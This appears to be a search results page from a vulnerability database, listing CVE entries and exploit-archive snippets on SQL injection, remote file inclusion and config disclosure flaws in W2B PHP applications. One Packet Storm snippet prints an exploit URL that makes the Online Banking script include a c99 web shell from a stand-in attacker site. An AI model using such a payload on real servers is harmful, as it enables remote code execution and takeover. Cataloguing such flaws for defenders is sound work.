Lucene search
+L

55 matches found

0day.today
0day.today
added 2009/04/15 12:0 a.m.25 views

W2B Restaurant 1.2 (conf.inc) Config File Disclosure Vulnerability

Exploit for unknown platform in category web applications ================================================================== W2B Restaurant 1.2 conf.inc Config File Disclosure Vulnerability ==================================================================...

7.1AI score
Exploits0
seebug.org
seebug.org
added 2009/04/14 12:0 a.m.18 views

W2B phpEmployment (conf.inc) File Disclosure VUlnerability

No description provided by source. || || | || o,7 || . o7 || 4||| ow, : / / . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | | | /' \ /'\ /\ \ /'\ /\ \ | | /, \ /\/\L\ \ \ \ ,/\ /\ \ \ \ / | | //\ \ /' \ /\ //\ /'\ \ /\ \ \ \ /'\ \ | | \ \ /\ /\ \ \ \ /...

7.1AI score
Exploits0
Packet Storm
Packet Storm
added 2009/04/14 12:0 a.m.20 views

W2B phpEmployment File Disclosure

|| || | || o,7 || . o7 || 4||| ow, : / / . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | | | /' \ /'\ /\ \ /'\ /\ \ | | /, \ /\/\L\ \ \ \ ,/\ /\ \ \ \ / | | //\ \ /' \ /\ //\ Kings of injection | | // | | |...

7.4AI score
Exploits0
NVD
NVD
added 2008/04/18 10:5 p.m.14 views

CVE-2008-1893

PHP remote file inclusion vulnerability in index.php in W2B Online Banking allows remote attackers to execute arbitrary PHP code via a URL in the ilang parameter...

7.5CVSS7.5AI score0.02274EPSS
Exploits0References3
Prion
Prion
added 2008/04/18 10:5 p.m.14 views

Remote file inclusion

PHP remote file inclusion vulnerability in index.php in W2B Online Banking allows remote attackers to execute arbitrary PHP code via a URL in the ilang parameter...

7.5CVSS8AI score0.02274EPSS
Exploits0References3
CVE
CVE
added 2008/04/18 10:0 p.m.46 views

CVE-2008-1893

The CVE-2008-1893 description identifies a PHP remote file inclusion vulnerability in the W2B Online Banking application, affecting the index.php file. An attacker can supply a URL in the ilang parameter to execute arbitrary PHP code on the server. The impact is described as partial confidentiali...

7.5CVSS7.5AI score0.02274EPSS
Exploits0References3Affected Software1
Cvelist
Cvelist
added 2008/04/18 10:0 p.m.22 views

CVE-2008-1893

PHP remote file inclusion vulnerability in index.php in W2B Online Banking allows remote attackers to execute arbitrary PHP code via a URL in the ilang parameter...

7.5AI score0.02274EPSS
Exploits0References3
Prion
Prion
added 2008/04/16 5:5 p.m.20 views

Sql injection

SQL injection vulnerability in cat.php in W2B phpHotResources allows remote attackers to execute arbitrary SQL commands via the kind parameter...

7.5CVSS9.1AI score0.01151EPSS
Exploits1References6
NVD
NVD
added 2008/04/16 5:5 p.m.27 views

CVE-2008-1843

SQL injection vulnerability in browse.php in W2B DatingClub aka Dating Club allows remote attackers to execute arbitrary SQL commands via the ageto parameter in a browsebyCat action...

7.5CVSS8.3AI score0.01151EPSS
Exploits1References6
Prion
Prion
added 2008/04/16 5:5 p.m.19 views

Sql injection

SQL injection vulnerability in browse.php in W2B DatingClub aka Dating Club allows remote attackers to execute arbitrary SQL commands via the ageto parameter in a browsebyCat action...

7.5CVSS9.1AI score0.01151EPSS
Exploits1References6
NVD
NVD
added 2008/04/16 5:5 p.m.29 views

CVE-2008-1844

SQL injection vulnerability in cat.php in W2B phpHotResources allows remote attackers to execute arbitrary SQL commands via the kind parameter...

7.5CVSS8.4AI score0.01151EPSS
Exploits1References6
CVE
CVE
added 2008/04/16 5:0 p.m.41 views

CVE-2008-1843

CVE-2008-1843 is an SQL injection vulnerability in the W2B DatingClub application, specifically in browse.php. The issue arises in the age_to parameter used within the browsebyCat action, allowing remote attackers to execute arbitrary SQL commands. The linked sources corroborate a standard inject...

7.5CVSS8.3AI score0.01151EPSS
Exploits1References6Affected Software1
Cvelist
Cvelist
added 2008/04/16 5:0 p.m.27 views

CVE-2008-1843

SQL injection vulnerability in browse.php in W2B DatingClub aka Dating Club allows remote attackers to execute arbitrary SQL commands via the ageto parameter in a browsebyCat action...

8.3AI score0.01151EPSS
Exploits1References6
Cvelist
Cvelist
added 2008/04/16 5:0 p.m.31 views

CVE-2008-1844

SQL injection vulnerability in cat.php in W2B phpHotResources allows remote attackers to execute arbitrary SQL commands via the kind parameter...

8.4AI score0.01151EPSS
Exploits1References6
CVE
CVE
added 2008/04/16 5:0 p.m.48 views

CVE-2008-1844

The CVE-2008-1844 entry concerns a SQL injection vulnerability in W2B phpHotResources, specifically in cat.php where the kind parameter can be exploited to execute arbitrary SQL commands. Affected component/function is cat.php in the PHP-based W2B phpHotResources application; underlying issue is ...

7.5CVSS8.4AI score0.01151EPSS
Exploits1References6Affected Software1
Packet Storm
Packet Storm
added 2008/04/16 12:0 a.m.18 views

w2b-rfi.txt

W2B Online Banking Remote File Inclusion Vulnerability AUTHOR: THuM4N Email : [email protected] Script : W2B Online Banking Site : http://www.w2b.ru Vulnerable CODE : /index.php include$SESSION"ilang"."/".$REQUEST"page".".htm"; EXPLOIT : http://HOST/Path/index.php?ilang=http://yoursite.com/c99.txt? ...

7.4AI score
Exploits0
exploitpack
exploitpack
added 2008/04/15 12:0 a.m.16 views

W2B Online Banking - ilang Remote File Inclusion

W2B Online Banking - ilang Remote File Inclusion source: https://www.securityfocus.com/bid/28796/info W2B Online Banking is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue can allow an attacker to compromise the...

0.1AI score
Exploits0
Exploit DB
Exploit DB
added 2008/04/15 12:0 a.m.19 views

W2B Online Banking - 'ilang' Remote File Inclusion

source: https://www.securityfocus.com/bid/28796/info W2B Online Banking is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks...

7.4AI score
Exploits0
exploitpack
exploitpack
added 2008/04/11 12:0 a.m.14 views

W2B PHPHotResources - cat.php SQL Injection

W2B PHPHotResources - cat.php SQL Injection source: https://www.securityfocus.com/bid/28736/info W2B phpHotResources is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attack...

8.6AI score
Exploits0
exploitpack
exploitpack
added 2008/04/11 12:0 a.m.11 views

W2B Dating Club - browse.php SQL Injection

W2B Dating Club - browse.php SQL Injection source: https://www.securityfocus.com/bid/28737/info W2B Dating Club is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to...

8.6AI score
Exploits0
Rows per page
Query Builder